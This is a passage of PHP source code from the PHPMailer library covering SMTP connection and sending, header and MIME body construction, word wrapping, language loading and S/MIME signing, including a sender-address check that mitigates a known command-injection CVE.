        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
